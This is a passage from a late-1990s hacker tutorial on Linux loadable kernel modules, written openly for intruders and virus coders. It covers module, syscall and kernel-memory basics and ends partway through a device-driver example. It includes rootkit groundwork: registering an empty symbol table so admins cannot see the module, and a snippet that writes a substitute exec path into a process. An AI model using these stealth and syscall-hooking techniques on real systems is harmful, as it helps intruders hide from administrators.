2 <TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
5 <H1><FONT COLOR=#0000FF>
6 (nearly) Complete Linux Loadable Kernel Modules
11 -the definitive guide for hackers, virus coders and system administrators-
16 <H4><FONT COLOR=#FF0000>
17 written by pragmatic / THC, version 1.0<br>
30 <A HREF="#Introduction">Introduction</A><BR>
35 <A HREF="#I.1.">1. What are LKMs</A><BR>
36 <A HREF="#I.2.">2. What are Syscalls</A><BR>
37 <A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR>
38 <A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
39 <A HREF="#I.5.">5. Ways to use user space like functions</A><BR>
40 <A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
41 <A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR>
42 <A HREF="#I.8.">8. Creating your own Devices</A><BR>
47 <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
48 <A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
49 <DD><A HREF="#II.2.1.">2.1 Finding interesting systemcalls (the strace approach)</A><BR></DD>
50 <A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
51 <A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
52 <DD><A HREF="#II.4.1."> 4.1 How to Hide Files</A><BR></DD>
53 <DD><A HREF="#II.4.2."> 4.2 How to hide the file contents (totally)</A><BR></DD>
54 <DD><A HREF="#II.4.3."> 4.3 How to hide certain file parts (a prototype implementation)</A><BR></DD>
55 <DD><A HREF="#II.4.4."> 4.4 How to monitor redirect file operations</A><BR></DD>
56 <DD><A HREF="#II.4.5."> 4.5 How to avoid any file owner problems</A><BR></DD>
57 <DD><A HREF="#II.4.6."> 4.6 How to make a hacker-tools-directory unaccessible</A><BR></DD>
58 <DD><A HREF="#II.4.7."> 4.7 How to change CHROOT Environments</A><BR></DD>
59 <A HREF="#II.5.">5. Process related Hacks</A><BR>
60 <DD><A HREF="#II.5.1."> 5.1 How to hide any process</A><BR></DD>
61 <DD><A HREF="#II.5.2."> 5.2 How to redirect Execution of files</A><BR></DD>
62 <A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
63 <DD><A HREF="#II.6.1."> 6.1 How to controll Socket Operations</A><BR></DD>
64 <A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
65 <A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
66 <DD><A HREF="#II.8.1."> 8.1 How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
67 <DD><A HREF="#II.8.2."> 8.2 How can a LKM virus help us to get in</A><BR></DD>
68 <A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
69 <A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
70 <A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
73 III. Soltutions (for admins)<BR>
75 <A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
76 <DD><A HREF="#III.1.1.">1.1 Practical Example of a prototype Detector</A><BR></DD>
77 <DD><A HREF="#III.1.2.">1.2 Practical Example of a prototype password protected create_module(...)</A><BR></DD>
78 <A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
79 <A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
80 <DD><A HREF="#III.3.1.">3.1 Practical Example of a prototype Anti-Tracer</A><BR></DD>
81 <A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
82 <DD><A HREF="#III.4.1."> 4.1 Why should we allow arbitrary programs execution rights?
83 (route's idea from Phrack implemented as LKM)</A><BR></DD>
84 <DD><A HREF="#III.4.2"> 4.2 The Link Patch
85 (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
86 <DD><A HREF="#III.4.3."> 4.3 The /proc permission patch
87 (route's idea from Phrack implemented as LKM)</A><BR></DD>
88 <DD><A HREF="#III.4.4."> 4.4 The securelevel patch
89 (route's idea from Phrack implemented as LKM)</A><BR></DD>
90 <DD><A HREF="#III.4.5."> 4.5 The rawdisk patch</A><BR></DD>
93 IV. Some Better Ideas (for hackers)<BR>
95 <A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
96 <A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
97 <DD><A HREF="#IV.2.1."> 2.1 How to find kernel symbols in /dev/kmem</A><BR></DD>
98 <DD><A HREF="#IV.2.2."> 2.2 The new 'insmod' working without kernel support</A><BR></DD>
99 <A HREF="#IV.3.">3. Last words</A><BR>
102 V. The near future : Kernel 2.2<BR>
104 <A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
109 <A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
110 <A HREF="#VI.2.">2. Links to other Resources</A><BR>
112 <A HREF="#Acknowledgements">Acknowledgements</A><BR>
114 <A HREF="#Greets">Greets</A><BR>
124 <DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
125 <DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
126 <DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
127 <DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
128 <DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
129 <DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
130 <DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
131 <DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
134 <HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
138 <H3><A NAME="Introduction"></A>Introduction</H3>
141 The use of Linux in server environments is growing from second to second. So
142 hacking Linux becomes more interesting every day. One of the best techniques to
143 attack a Linux system is using kernel code. Due to its feature called Loadable
144 Kernel Modules (LKMs) it is possible to write code running in kernel space, which
145 allows us to access very sensitive parts of the OS. There were some texts and
146 files concerning LKM hacking before (Phrack, for example) which were very good.
147 They introduced new ideas, new methodes and complete LKMs doing anything a
148 hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
149 in 1998 were very interesting.<BR>
150 So why do I write again a text about LKMs. Well there are several reasons :
152 <li> former texts did sometimes not give good explanations for kernel beginners;
153 this text has a very big basic section, helping beginners to understand the
154 concepts. I met lots of people using nice exploits/sniffers and so on without
155 even understanding how they work. I included lots of source code in this file
156 with lots of comments, just to help those beginners who know that hacking is
157 more than playing havoc on some networks out there !<br>
158 <li> every published text concentrated on a special subject, there was no complete
159 guide for hackers concerning LKMs. This text will cover nearly every aspect of
160 kernel abusing (even virus aspects)<br>
161 <li> this texts was written from the hacker / virus coder perspective, but it will
162 also help admins and normal kernel developers doing a better job<br>
163 <li> former text showed us the main advantages / methods of abusing LKMs, but
164 there are some things which we have not heard of yet. This text will show
165 some new ideas (nothing totally new, but things which could help us)<br>
166 <li> this text will show concepts of some simple ways to protect from LKM attacks<br>
167 <li> this text will also show how to defeat LKM protections by using methods like
168 Runtime Kernel Patching<br>
171 Please remember that new ideas are implemented as prototype modules (just for
172 demonstration) which have to be improved in order to use them in the wild.<br>
173 The main motivation of this text is giving everyone <i>one</i> big text covering the
174 whole LKM problem. In appendix A I give you some existing LKMs plus a short
175 description of their working (for beginners) and ways to use them. <br>
176 The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
177 all programs and code fragments. The Linux system must have LKM support for
178 using most code examples in this text. Only part IV will show some sources
179 working without native LKM support. Most ideas in this text will also work on
180 2.2.x systems (perhaps you'll need some minor modification); but recall that
181 kernel 2.2.x was just released (1/99) and most linux distribution still use
182 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
183 will present their kernel 2.2.x versions; so you won't need to know how to hack
184 a 2.2.x kernel at the moment. Good administrators will also wait some months
185 in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't
186 need kernel 2.2.x so they will continue using 2.0.x].<br>
187 This text has a special section dealing with LKMs helping admins to secure the
188 system. You (hacker) should also read this section, you <i>must</i> know everything
189 the admins know and even more. You will also get some nice ideas from that
190 section that could help you develope more advanced 'hacker-LKMs'. Just read the
192 <I><u>And please remember</I></u> : This text was only written for educational purpose. Any
193 illegal action based on this text is your own problem.<br>
200 <H3><A NAME="I.1."></A>1. What are LKMs</H3>
203 LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
204 functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
205 there must be no recompilation of the whole kernel. Because of those features
206 they are often used for specific device drivers (or filesystems) such as
208 Every LKM consist of two basic functions (minimum) :
210 int init_module(void) /*used for all initialition stuff*/
216 void cleanup_module(void) /*used for a clean shutdown*/
222 Loading a module - normally retricted to root - is managed by issuing the
229 This command forces the System to do the following things :
231 <li>Load the objectfile (here module.o)<br>
232 <li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
234 <li>unresolved references are resolved by Kernel-Symbols with the systemcall
236 <li>after this the init_module systemcall is used for the LKM initialisation
237 -> executing int init_module(void) etc.<br>
239 The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
240 So I think we can write our first little LKM just showing how it basicly works:
244 #include <Linux/module.h>
246 int init_module(void)
248 printk("<1>Hello World\n");
252 void cleanup_module(void)
254 printk("<1>Bye, Bye");
258 You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
259 is totally different from <i>Userspace-Programming</i> !<br>
260 You only have a very restricted set of commands (see I.6). With those commands
261 you cannot do much, so you will learn how to use lots of functions you know from
262 your userspace applications helping you hacking the kernel. Just be patient, we
263 have to do something else before...<br>
264 The Example above can easily compiled by
267 # gcc -c -O3 helloworld.c
268 # insmod helloworld.o
271 Ok, our module is loaded and showed us the famous text. Now you can check some
272 commands showing you that your LKM really stays in kernel space.<br>
280 This command reads the information in /proc/modules for showing you which
281 modules are loaded at the moment. 'Pages' is the memory information (how many
282 pages does this module fill); the 'Used by' field tells us how often the module
283 is used in the System (reference count). The module can only be removed, when
284 this counter is zero; after checking this, you can remove your module with
290 Ok, this was our first little (very little) step towards abusing LKMs. I always
291 compared those LKMs to old DOS TSR Programs (yes there are many differences,
292 I know), they were our gate to staying resident in memory and catching every
293 interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is
294 also similar to LKMs (also many differences). The most interesting part of
295 those resident programs is the ability to hook system functions, in the Linux
296 world called systemcalls.<br>
299 <H3><A NAME="I.2."></A>2. What are systemcalls</h3>
301 I hope you know, that every OS has some functions build into its kernel, which
302 are used for every operation on that system.<br>
303 The functions Linux uses are called systemcalls. They represent a transition
304 from user to kernel space. Opening a file in user space is represented by the
305 sys_open systemcall in kernel space. For a complete list of all systemcalls
306 available on your System look at /usr/include/sys/syscall.h. The following list
310 #ifndef _SYS_SYSCALL_H
311 #define _SYS_SYSCALL_H
313 #define SYS_setup 0 /* Used only by init, to get system going. */
320 #define SYS_waitpid 7
323 #define SYS_unlink 10
324 #define SYS_execve 11
327 #define SYS_prev_mknod 14
331 #define SYS_oldstat 18
333 #define SYS_getpid 20
335 #define SYS_umount 22
336 #define SYS_setuid 23
337 #define SYS_getuid 24
339 #define SYS_ptrace 26
341 #define SYS_oldfstat 28
346 #define SYS_access 33
351 #define SYS_rename 38
359 #define SYS_setgid 46
360 #define SYS_getgid 47
361 #define SYS_signal 48
362 #define SYS_geteuid 49
363 #define SYS_getegid 50
370 #define SYS_setpgid 57
371 #define SYS_ulimit 58
372 #define SYS_oldolduname 59
374 #define SYS_chroot 61
375 #define SYS_prev_ustat 62
377 #define SYS_getppid 64
378 #define SYS_getpgrp 65
379 #define SYS_setsid 66
380 #define SYS_sigaction 67
381 #define SYS_siggetmask 68
382 #define SYS_sigsetmask 69
383 #define SYS_setreuid 70
384 #define SYS_setregid 71
385 #define SYS_sigsuspend 72
386 #define SYS_sigpending 73
387 #define SYS_sethostname 74
388 #define SYS_setrlimit 75
389 #define SYS_getrlimit 76
390 #define SYS_getrusage 77
391 #define SYS_gettimeofday 78
392 #define SYS_settimeofday 79
393 #define SYS_getgroups 80
394 #define SYS_setgroups 81
395 #define SYS_select 82
396 #define SYS_symlink 83
397 #define SYS_oldlstat 84
398 #define SYS_readlink 85
399 #define SYS_uselib 86
400 #define SYS_swapon 87
401 #define SYS_reboot 88
402 #define SYS_readdir 89
404 #define SYS_munmap 91
405 #define SYS_truncate 92
406 #define SYS_ftruncate 93
407 #define SYS_fchmod 94
408 #define SYS_fchown 95
409 #define SYS_getpriority 96
410 #define SYS_setpriority 97
411 #define SYS_profil 98
412 #define SYS_statfs 99
413 #define SYS_fstatfs 100
414 #define SYS_ioperm 101
415 #define SYS_socketcall 102
417 #define SYS_setitimer 104
418 #define SYS_getitimer 105
419 #define SYS_prev_stat 106
420 #define SYS_prev_lstat 107
421 #define SYS_prev_fstat 108
422 #define SYS_olduname 109
424 #define SYS_vhangup 111
426 #define SYS_vm86old 113
427 #define SYS_wait4 114
428 #define SYS_swapoff 115
429 #define SYS_sysinfo 116
431 #define SYS_fsync 118
432 #define SYS_sigreturn 119
433 #define SYS_clone 120
434 #define SYS_setdomainname 121
435 #define SYS_uname 122
436 #define SYS_modify_ldt 123
437 #define SYS_adjtimex 124
438 #define SYS_mprotect 125
439 #define SYS_sigprocmask 126
440 #define SYS_create_module 127
441 #define SYS_init_module 128
442 #define SYS_delete_module 129
443 #define SYS_get_kernel_syms 130
444 #define SYS_quotactl 131
445 #define SYS_getpgid 132
446 #define SYS_fchdir 133
447 #define SYS_bdflush 134
448 #define SYS_sysfs 135
449 #define SYS_personality 136
450 #define SYS_afs_syscall 137 /* Syscall for Andrew File System */
451 #define SYS_setfsuid 138
452 #define SYS_setfsgid 139
453 #define SYS__llseek 140
454 #define SYS_getdents 141
455 #define SYS__newselect 142
456 #define SYS_flock 143
457 #define SYS_syscall_flock SYS_flock
458 #define SYS_msync 144
459 #define SYS_readv 145
460 #define SYS_syscall_readv SYS_readv
461 #define SYS_writev 146
462 #define SYS_syscall_writev SYS_writev
463 #define SYS_getsid 147
464 #define SYS_fdatasync 148
465 #define SYS__sysctl 149
466 #define SYS_mlock 150
467 #define SYS_munlock 151
468 #define SYS_mlockall 152
469 #define SYS_munlockall 153
470 #define SYS_sched_setparam 154
471 #define SYS_sched_getparam 155
472 #define SYS_sched_setscheduler 156
473 #define SYS_sched_getscheduler 157
474 #define SYS_sched_yield 158
475 #define SYS_sched_get_priority_max 159
476 #define SYS_sched_get_priority_min 160
477 #define SYS_sched_rr_get_interval 161
478 #define SYS_nanosleep 162
479 #define SYS_mremap 163
480 #define SYS_setresuid 164
481 #define SYS_getresuid 165
483 #define SYS_query_module 167
485 #define SYS_syscall_poll SYS_poll
487 #endif /* <sys/syscall.h> */
490 Every systemcall has a defined number (see listing above), which is actually
491 used to make the systemcall.<br>
492 The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall
493 number and any arguments are moved to some registers (eax for systemcall number,
495 The systemcall number is an index in an array of a kernel structure called
496 sys_call_table[]. This structure maps the systemcall numbers to the needed
497 service function.<br>
498 Ok, this should be enough knowledge to continue reading. The following table
499 lists the most interesting systemcalls plus a short description.
500 Believe me, you have to know the exact working of those systemcalls in order to
501 make really useful LKMs.<br>
503 <TABLE border=5 width=100%>
511 <td>int sys_brk(unsigned long new_brk);</td>
512 <td>changes the size of used DS (data segment)
513 ->this systemcall will be discussed in I.4</td>
518 <td>int sys_fork(struct pt_regs regs);</td>
519 <td>systemcall for the well-know fork() function in user space</td>
528 <td>systemcalls for managing UID etc.</td>
534 <td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
535 <td>systemcall for accessing the kernel system table (-> I.3)</td>
539 <td>int sys_sethostname
545 <td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
551 (const char *path);<br>
553 (unsigned int fd);<br></td>
554 <td>both function are used for setting the current directory (cd ...)</td>
574 <td>functions for managing permissions and so on</td>
581 <td>sets root directory for calling process</td>
586 (struct pt_regs regs);</td>
587 <td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
594 unsigned long arg);</td>
595 <td>changing characteristics of fd (opened file descr.)</td>
600 (const char *oldname,
601 const char *newname);<br>
603 (const char *oldname,
604 const char *newname);<br>
606 (const char *name);<br></td>
607 <td>systemcalls for hard- / softlinks management</td>
612 (const char *oldname,
613 const char *newname);</td>
614 <td>file renaming</td>
619 (const char* name);<br>
621 (const *char filename,
623 <td>creating & removing directories</td>
628 (const char *filename,
631 (unsigned int fd);<br></td>
632 <td>everything concering opening files (also creation), and also closing them</td>
638 char *buf, unsigned int
642 char *buf, unsigned int
644 <td>systemcalls for writing & reading from Files</td>
650 struct dirent *dirent,
651 unsigned int count);</td>
652 <td>systemcall which retrievs file listing (ls ... command) </td>
658 char *buf, int bufsize);</td>
659 <td>reading symbolic links</td>
668 <td>multiplexing of I/O operations</td>
673 (int call, unsigned long
675 <td>socket functions</td>
681 (char *name, unsigned
683 int sys_delete_module
690 size_t *ret);<br></td>
691 <td>used for loading / unloading LKMs and querying</td>
695 In my opinion these are the most interesting systemcalls for any hacking
696 intention, of course it is possible that you may need something special on your
697 rooted system, but the average hacker has a plenty of possibilities with the
698 listing above. In part II you will learn how to use the systemcalls for your
702 <H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
704 Ok, we understand the basic concept of systemcalls and modules. But there is
705 another very important point we need to understand - the Kernel Symbol Table.
706 Take a look at /proc/ksyms. Every entry in this file represents an exported
707 (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
708 in that file, you will find many interesting things in it. <br>
709 This file is really very interesting, and can help us to see what our LKM can
710 get; but there is one problem. Every Symbol used in our LKM (like a function) is
711 also exportet to the public, and is also listed in that file. So an experienced
712 admin could discover our little LKM and kill it.<br>
713 There are lots of methods to prevent the admin from seeing our LKM, look at
715 The methods mentioned in II can be called 'Hacks', but when you take a look at
716 the contents of section II you won't find any reference to 'Keeping LKM Symbols
717 out of /proc/ksyms'. The reason for not mentioning this problem in II is the
719 you won't need a trick to keep your module symbols away from /proc/ksyms.
720 LKM devolopers are able to use the following piece of regular code to limit the
721 exported symbols of their module:<br>
724 static struct symbol_table module_syms= { /*we define our own symbol table !*/
725 #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/
729 register_symtab(&module_syms); /*do the actual registration*/
732 As I said, we don't want to export any symbols to the public, so we use the
733 following construction :
736 register_symtab(NULL);
739 This line must be inserted in the init_module() function, remember this !
742 <H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
744 Till now this essay was very very basic and easy. Now we come to stuff
745 more difficult (but not more advanced).<br>
746 We have many advantages because of coding in kernel space, but we also have some
747 disadvantages. systemcalls get their arguments from user space (systemcalls are
748 implemented in wrappers like libc), but our LKM runs in kernel space. In section
749 II you will see that it is very important for us to check the arguments of
750 certain systemcalls in order to act the right way. But how can we access an
751 argument allocated in user space from our kernel space module ?
752 <br><i>Solution</i> : We have to make a <i>transition</i>.<br>
753 This may sound a bit strange for non-kernel-hackers, but is really easy. Take
754 the following systemcall :<br>
757 int sys_chdir (const char *path)
760 Imagine the system calling it, and we intercept that call (we will learn this in
761 section II). We want to check the path the user wants to set, so we have to
762 access const char *path. If you try to access the path variable directly like
765 printk("<1>%s\n", path);
768 you will get <i>real</i> problems...<br>
769 Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
770 Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
771 He uses a kernel mode function (macro) for retrieving user space memory bytes :
774 #include <asm/segment.h>
779 Giving this function a pointer to our *path location helps ous getting the bytes
780 from user space memory to kernel space. Look at the implemtation made by plaguez
781 for moving strings from user to kernel space:<br>
784 char *strncpy_fromfs(char *dest, const char *src, int n)
790 dest[compt++] = __get_user(tmp++, 1);
792 while ((dest[compt - 1] != '\0') && (compt != n));
798 If we want to convert our *path variable we can use the following piece of kernel
802 char *kernel_space_path;
804 kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory
806 (void) strncpy_fromfs(test, path, 20); /*calling plaguez's
808 printk("<1>%s\n", kernel_space_path); /*now we can use
809 the data for whatever we
811 kfree(test); /*remember freeing the
815 The code above works very fine. For a general transition it is too complicated;
816 plaguez used it only for strings (the functions is made only for string copies).
817 For normal data transitions the following function is the easiest way of doing:
820 #include <asm/segment.h>
821 void memcpy_fromfs(void *to, const void *from, unsigned long count);
825 Both functions are obviously based on the same kind of commands, but the second
826 one is nearly the same as plaguez's newly defined function. I would recommand
827 using memcpy_fromfs(...) for general data transitions and plaguez's one for
828 string copying tasks.<br>
829 Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
830 about the other direction ? This is a bit harder, because we cannot easily
831 allocate user space memory from our kernel space position. If we could manage this
832 problem we could use<br>
835 #include <asm/segment.h>
836 void memcpy_tofs(void *to, const void *from, unsigned long count);
839 doing the actual converting. But how to allocate user space for the *to pointer?
840 plaguez's Phrack essay gives us the best solution :
843 /*we need brk systemcall*/
844 static inline _syscall1(int, brk, void *, end_data_segment);
849 char *truc = OLDEXEC;
850 char *nouveau = NEWEXEC;
853 mmm = current->mm->brk;
854 ret = brk((void *) (mmm + 256));
857 memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
860 This is a very nice trick used here. current is a pointer to the task structure
861 of the current process; mm is the pointer to the mm_struct - responsible for
862 the memory management of that process. By using the brk-systemcall on current->
863 mm->brk we are able to increase the size of the unused area of the datasegment.
864 And as we all know allocating memory is done by playing with the datasegment,
865 so by increasing the unused area size, we have allocated some piece of memory
866 for the current process. This memory can be used for copying the kernel space
867 memory to user space (of the current process).<br>
868 You may wonder about the first line from the code above. This line helps us to
869 use user space like functions in kernel space.Every user space function provided
870 to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
871 macro. So we can construct the exact syscall-macro for a certain user space
872 function (represented by a systemcall); here for brk(...).<br>
873 See I.5 for a detailed explanation.
875 <H3><A NAME="I.5."></A>5. Ways to use user space like functions</h3>
877 As you saw in I.4 we used a syscall macro for constructing our own brk call,
878 which is like the one we know from user space (->brk(2)). The truth about the
879 user space library funtions (not all) is that they all are implemented through
880 such syscall macros. The following code shows the _syscall1(..) macro used in
881 I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
884 #define _syscall1(type,name,type1,arg1) \
885 type name(type1 arg1) \
888 __asm__ volatile ("int $0x80" \
890 : "0" (__NR_##name),"b" ((long)(arg1))); \
892 return (type) __res; \
898 You don't need to understand this code in its full function, it just calls
899 interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
900 name stands for the systemcall we need (the name is expanded to __NR_name, which
901 is defined in /asm/unistd.h). This way we implemted the brk function. Other
902 functions with a different count of arguments are implemented through other
903 macros (_syscallX, where X stands for the number of arguments). <br>
904 I personally use another way of implementing functions; look at the following
908 int (*open)(char *, int, int); /*declare a prototype*/
910 open = sys_call_table[SYS_open]; /*you can also use __NR_open*/
913 This way you don't need to use any syscall macro, you just use the function
914 pointer from the sys_call_table. While searching the web, I found that this
915 way of contructing user space like functions is also used in the famous LKM
916 infector by SVAT. In my opinion this is the better solution, but test it and
918 Be careful when supplying arguments for those systemcalls, they need them in
919 user space not from your kernel space position. Read I.4 for ways to bring your
920 kernel space data to user space memory.<br>
921 A very easy way doing this (the best way in my opinion) is playing with the
922 needed registers. You have to know that Linux uses segment selectors to
923 differentiate between kernel space, user space and so on. Arguments used with
924 systemcalls which were issued from user space are somewhere in the data segment
925 selector (DS) range. [I did not mention this in I.4,because it fits more in this
927 DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
928 parameters by systemcalls can only be accessed from kernel space if we set
929 the segment selector used for the user segment by the kernel to the needed DS
930 value. This can be done by using set_fs(...). But be careful,you have to restore
931 FS after you accessed the argument of the systemcall. So let's look at a code
932 fragment showing something useful :<br>
935 ->filename is in our kernel space; a string we just created, for example
937 unsigned long old_fs_value=get_fs();
939 set_fs(get_ds); /*after this we can access the user space data*/
940 open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
941 set_fs(old_fs_value); /*restore fs...*/
944 In my opinion this is the easiet / fastest way of solving the problem, but test
945 it yourself (again).<br>
946 Remember that the functions I showed till now (brk, open) are all implemented
947 through a single systemcall. But there are also groups of user space functions
948 which are summarized into one systemcall. Take a look at the listing of
949 interesting systemcalls (I.2); the sys_socketcall, for example, implements every
950 function concering sockets (creation, closing, sending, receiving,...). So be
951 careful when constructing your functions; always take a look at the kernel
954 <H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
956 I introduced the printk(..) function in the beginning of this text. It is a
957 function everyone can use in kernel space, it is a so called kernel function.
958 Those functions are made for kernel developers who need complex functions which
959 are normally only available through a library function. The following listing
960 shows the most important kernel functions we often need :
962 <TABLE border=5 width=100%>
965 <th>function/macro</th>
976 va_list args);<br></td>
977 <td>functions for packing data into strings</td>
983 <td>the same as printf in user space</td>
991 (void *dest, const void
992 *src, size_t count);<br>
995 char *dest, int count);<br>
997 (void *dest, const void
998 *src, size_t count);<br>
1001 const void *ct, size_t
1004 (void *addr, unsigned char
1005 c, size_t size);<br></td>
1006 <td>memory functions</td>
1010 <td>int register_symtab
1011 (struct symbol_table
1018 (char *dest, const char
1021 (char *dest, const char
1022 *src, size_t count);<br>
1024 (char *dest, const char *src);<br>
1026 (char *dest, const char
1027 *src, size_t count);<br>
1030 const char *ct);<br>
1032 (const char *cs,const
1033 char *ct, size_t count);<br>
1035 (const char *s, char c);<br>
1037 (const char *s);<br>
1043 const char *accept);<br>
1046 const char *ct);<br>
1048 (char *s, const char *ct);<br></td>
1049 <td>string compare functions etc.</td>
1056 char **endp, unsigned int
1058 <td>converting strings to number</td>
1074 <td>functions for accessing user memory</td>
1080 <td>checking for SuperUser rights</td>
1084 <td>int register_chrdev
1085 (unsigned int major,
1087 struct file_o perations
1089 int unregister_chrdev
1090 (unsigned int major,
1091 const char *name);<br>
1093 (unsigned int major,
1095 struct file_o perations
1097 int unregister_blkdev
1098 (unsigned int major,
1099 const char *name);<br></td>
1100 <td>functions which register device driver<br>
1101 ..._chrdev -> character devices<br>
1102 ..._blkdev -> block devices<br></td>
1106 Please remember that some of those function may also be made available through
1107 the method mentoined in I.5. But you should understand, that it is not very
1108 useful contructing nice user space like functions, when the kernel gives them
1110 Later on you will see that these functions (especially string comaprisons) are
1111 very important for our purposes.<br>
1114 <H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
1116 Finally we nearly reached the end of the basic part. Now I will explain the
1117 working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
1118 process in user space waiting for some action. First of all you must know that
1119 it is necessary to activite the kerneld option while building the kernel, in
1120 order to use kerneld's features. Kerneld works the following way : If the kernel
1121 wants to access a resource (in kernel space of course), which is not present
1122 at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
1123 kerneld for that resource. If kerneld is able to provide the resource, it loads
1124 the required LKM and the kernel can continue working. By using this scheme it is
1125 possible to load and unload LKMs only when they are really needed / not needed.
1126 It should be clear that this work needs to be done both in user and in kernel
1128 Kerneld exists in user space. If the kernel requests a new module this daemon
1129 receives a string from the kernel telling it which module to load.It is possible
1130 that the kenel sends a generic name (instead of the name of object file) like
1131 eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
1132 Those lines match generic names to the LKM required on that system.<br>
1133 The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
1136 # /etc/modules.conf # or /etc/conf.modules - this differs
1140 This was the user space side represented by the kerneld daemon. The kernel space
1141 part is mainly represented by 4 functions. These functions are all based on
1142 a call to kerneld_send. For the exact way kerneld_send is involved by calling
1143 those functions look at linux/kerneld.h. The following table lists the 4
1144 functions mentioned above :<br>
1146 <TABLE border=5 width=100%>
1150 <th>description</th>
1160 va_list args);<br></td>
1161 <td>functions for packing data into strings</td>
1165 <td>int request_module
1166 (const char *name);</td>
1167 <td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
1171 <td>int release_module
1174 <td>unload a module</td>
1178 <td>int delayed_release_module
1179 (const char *name);</td>
1180 <td>delayed unload</td>
1184 <td>int cancel_release_module
1185 (const char *name);</td>
1186 <td>cancels a call of delayed_release_module</td>
1189 <i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
1192 <H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
1194 Appendix A introduces a TTY Hijacking util, which will use a device to log its
1195 results. So we have to look at a very basic example of a device driver.
1196 Look at the following code (this is a very basic driver, I just wrote it for
1197 demonstration, it does implement nearly no operations...) :<br>
1203 #include <linux/module.h>
1204 #include <linux/kernel.h>
1205 #include <asm/unistd.h>
1206 #include <sys/syscall.h>
1207 #include <sys/types.h>
1208 #include <asm/fcntl.h>
1209 #include <asm/errno.h>
1210 #include <linux/types.h>
1211 #include <linux/dirent.h>
1212 #include <sys/mman.h>
1213 #include <linux/string.h>
1214 #include <linux/fs.h>
1215 #include <linux/malloc.h>
1217 /*just a dummy for demonstration*/
1218 static int driver_open(struct inode *i, struct file *f)
1220 printk("<1>Open Function\n");
1224 /*register every function which will be provided by our driver*/
1225 static struct file_operations fops = {
1233 driver_open, /*open, take a look at my dummy open function*/
1239 int init_module(void)
1241 /*register driver with major 40 and the name driver*/
1242 if(register_chrdev(40, "driver", &fops)) return -EIO;
1246 void cleanup_module(void)
1248 /*unregister our driver*/
1249 unregister_chrdev(40, "driver");
1252 The most important important function is register_chrdev(...) which registers
1253 our driver with the major number 40. If you want to access this driver,do the
1257 # mknode /dev/driver c 40 0
